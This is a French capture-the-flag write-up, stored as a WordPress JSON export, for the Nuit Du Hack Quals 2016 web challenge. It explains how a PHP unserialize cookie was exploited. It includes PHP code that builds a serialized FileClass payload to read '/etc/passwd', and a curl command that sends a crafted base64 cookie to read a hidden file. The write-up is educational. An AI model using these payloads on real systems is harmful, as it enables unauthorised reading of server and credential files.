{"id":2327,"date":"2016-04-04T00:52:26","date_gmt":"2016-04-03T22:52:26","guid":{"rendered":"https:\/\/0x90r00t.com\/fr\/?p=2327"},"modified":"2016-04-12T02:21:46","modified_gmt":"2016-04-12T00:21:46","slug":"nuit-du-hack-quals-2016-web-100-find-me-im-famous-write-up","status":"publish","type":"post","link":"https:\/\/0x90r00t.com\/fr\/2016\/04\/04\/nuit-du-hack-quals-2016-web-100-find-me-im-famous-write-up\/","title":{"rendered":"[Nuit Du Hack Quals 2016] [Web 100 &#8211; Find me i&rsquo;m famous] Write Up"},"content":{"rendered":"<h2>Description<\/h2>\n<blockquote><p>Hey Dude! This authentication annoys me, please help!<\/p>\n<p>The challenge is available at http:\/\/findmeimfamous.quals.nuitduhack.com<\/p><\/blockquote>\n<p><!--more--><\/p>\n<h2>Resolution<\/h2>\n<p>Nous nous retrouvons devant un formulaire nous demandant de nous enregistrer, avec un nom et un \u00e2ge.<\/p>\n<p><a href=\"https:\/\/0x90r00t.com\/wp-content\/uploads\/2016\/04\/Capture-104.png\" rel=\"attachment wp-att-2333\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-2333\" src=\"https:\/\/0x90r00t.com\/wp-content\/uploads\/2016\/04\/Capture-104.png\" alt=\"signup\" width=\"657\" height=\"478\" srcset=\"https:\/\/0x90r00t.com\/wp-content\/uploads\/2016\/04\/Capture-104.png 657w, https:\/\/0x90r00t.com\/wp-content\/uploads\/2016\/04\/Capture-104-300x218.png 300w\" sizes=\"auto, (max-width: 657px) 100vw, 657px\" \/><\/a><\/p>\n<p>Une fois cette \u00e9tape effectu\u00e9e, un cookie est enregistr\u00e9 contenant une chaine en base64 int\u00e9ressante. Une fois d\u00e9cod\u00e9e, cela nous donne un objet serializ\u00e9 en php.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">cook=Tzo0OiJVc2VyIjoyOntzOjM6ImFnZSI7czo1OiJhZG1pbiI7czo0OiJuYW1lIjtzOjU6ImFkbWluIjt9m<\/pre>\n<p>Une fois d\u00e9cod\u00e9 :<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">O:4:&quot;User&quot;:2:{s:3:&quot;age&quot;;s:5:&quot;admin&quot;;s:4:&quot;name&quot;;s:5:&quot;admin&quot;;}<\/pre>\n<p>Apr\u00e8s l&rsquo;enregistrement, un formulaire nous demande notre nom, qui une fois post\u00e9 nous renvoie un joli message \u00ab\u00a0Hello NAME you have AGE years old.\u00a0\u00bb.<\/p>\n<p><a href=\"https:\/\/0x90r00t.com\/wp-content\/uploads\/2016\/04\/Capture-103.png\" rel=\"attachment wp-att-2332\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-2332\" src=\"https:\/\/0x90r00t.com\/wp-content\/uploads\/2016\/04\/Capture-103.png\" alt=\"second auth\" width=\"655\" height=\"336\" srcset=\"https:\/\/0x90r00t.com\/wp-content\/uploads\/2016\/04\/Capture-103.png 655w, https:\/\/0x90r00t.com\/wp-content\/uploads\/2016\/04\/Capture-103-300x154.png 300w\" sizes=\"auto, (max-width: 655px) 100vw, 655px\" \/><\/a><\/p>\n<p>Le probl\u00e8me ici, c&rsquo;est qu&rsquo;on comprend bien que la faille doit venir de l&rsquo;unserialize, mais &#8230; sur quelle classe ?<\/p>\n<p>Coup de bol, en cherchant de la documentation sur les failles unserialize, nous sommes tomb\u00e9s sur l&rsquo;article http:\/\/securitycafe.ro\/2015\/01\/05\/understanding-php-object-injection\/.<\/p>\n<p>La classe FileClass \u00e9tant utilis\u00e9e dans l&rsquo;\u00e9preuve, cela nous a permis de lire les fichiers que nous voulions sur le serveur.<\/p>\n<pre class=\"brush: php; title: ; notranslate\" title=\"\">&lt;?php\r\nclass FileClass {\r\n public $filename;\r\n}\r\n$f = new FileClass();\r\n$f-&gt;filename = '\/etc\/passwd';\r\necho serialize($f);\r\n<\/pre>\n<p>Avec ce code nous g\u00e9n\u00e9rant le payload pour lire n&rsquo;importe quel fichier, facile, y&rsquo;a plus qu&rsquo;\u00e0 lire le \/etc\/passwd ou un fichier commun comme dans n&rsquo;importe quel CTF ? Et bien non&#8230;<\/p>\n<p>Nous avons cherch\u00e9 partout sur le serveur, en r\u00e9cup\u00e9rant l&rsquo;int\u00e9gralit\u00e9 des sources des pages inclues dans le site, \/etc\/passwd, \/flag, configuration apache, etc., rien \u00e0 faire&#8230; le flag reste introuvable.<\/p>\n<p>Apr\u00e8s des heures \u00e0 chercher une exploitation logique, c&rsquo;est un coup de bol\u00b2 (&#8230;) qui nous a fait trouver le dossier \u00ab\u00a0git\u00a0\u00bb \u00e0 la racine de l&rsquo;\u00e9preuve (pourquoi ne pas avoir mis le point devant le nom du dossier ?!).<\/p>\n<p>L\u00e0, d&rsquo;un seul coup, tout s&rsquo;\u00e9claire, un coup de wget pour r\u00e9cup\u00e9rer r\u00e9cursivement tout le d\u00e9pot, puis un check dans les logs de commit :<\/p>\n<p><a href=\"https:\/\/0x90r00t.com\/wp-content\/uploads\/2016\/04\/Capture-100.png\" rel=\"attachment wp-att-2331\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-2331\" src=\"https:\/\/0x90r00t.com\/wp-content\/uploads\/2016\/04\/Capture-100-1024x557.png\" alt=\"git\" width=\"711\" height=\"387\" srcset=\"https:\/\/0x90r00t.com\/wp-content\/uploads\/2016\/04\/Capture-100-1024x557.png 1024w, https:\/\/0x90r00t.com\/wp-content\/uploads\/2016\/04\/Capture-100-300x163.png 300w, https:\/\/0x90r00t.com\/wp-content\/uploads\/2016\/04\/Capture-100-768x418.png 768w, https:\/\/0x90r00t.com\/wp-content\/uploads\/2016\/04\/Capture-100.png 1675w\" sizes=\"auto, (max-width: 711px) 100vw, 711px\" \/><\/a><\/p>\n<p>R\u00e9cup\u00e9rer le contenu du fichier nous donne (enfin) le flag :<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">$ curl 'http:\/\/findmeimfamous.quals.nuitduhack.com\/result.php' -b &quot;cook=$(echo 'O:9:&quot;FileClass&quot;:1:{s:8:&quot;filename&quot;;s:14:&quot;ufhkistgfj.php&quot;;}' | base64 | tr -d &quot;\\n&quot;)&quot;<\/pre>\n<pre class=\"brush: php; title: ; notranslate\" title=\"\">&lt;?php\r\nif ($_COOKIE&#x5B;&quot;cook&quot;]==Tzo5OiJGaWxlQ2xhc3MiOjE6e3M6ODoiZmlsZW5hbWUiO3M6MTQ6InVmaGtpc3RnZmoucGhwIjt9){\r\n echo &quot;NDH&#x5B;bsnae6PcNyrWZ82Q8v6pfJ6C6HG433L6]&quot;;\r\n}\r\n<\/pre>\n<p>Le flag \u00e9tait : bsnae6PcNyrWZ82Q8v6pfJ6C6HG433L6<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Description Hey Dude! This authentication annoys me, please help! The challenge is available at http:\/\/findmeimfamous.quals.nuitduhack.com<\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[156],"tags":[161,159,157,158,160,54],"class_list":["post-2327","post","type-post","status-publish","format-standard","hentry","category-nuit-du-hack-quals","tag-git","tag-guess","tag-ndh","tag-quals","tag-unserialize","tag-php"],"_links":{"self":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/2327","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/comments?post=2327"}],"version-history":[{"count":15,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/2327\/revisions"}],"predecessor-version":[{"id":2347,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/2327\/revisions\/2347"}],"wp:attachment":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/media?parent=2327"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/categories?post=2327"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/tags?post=2327"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}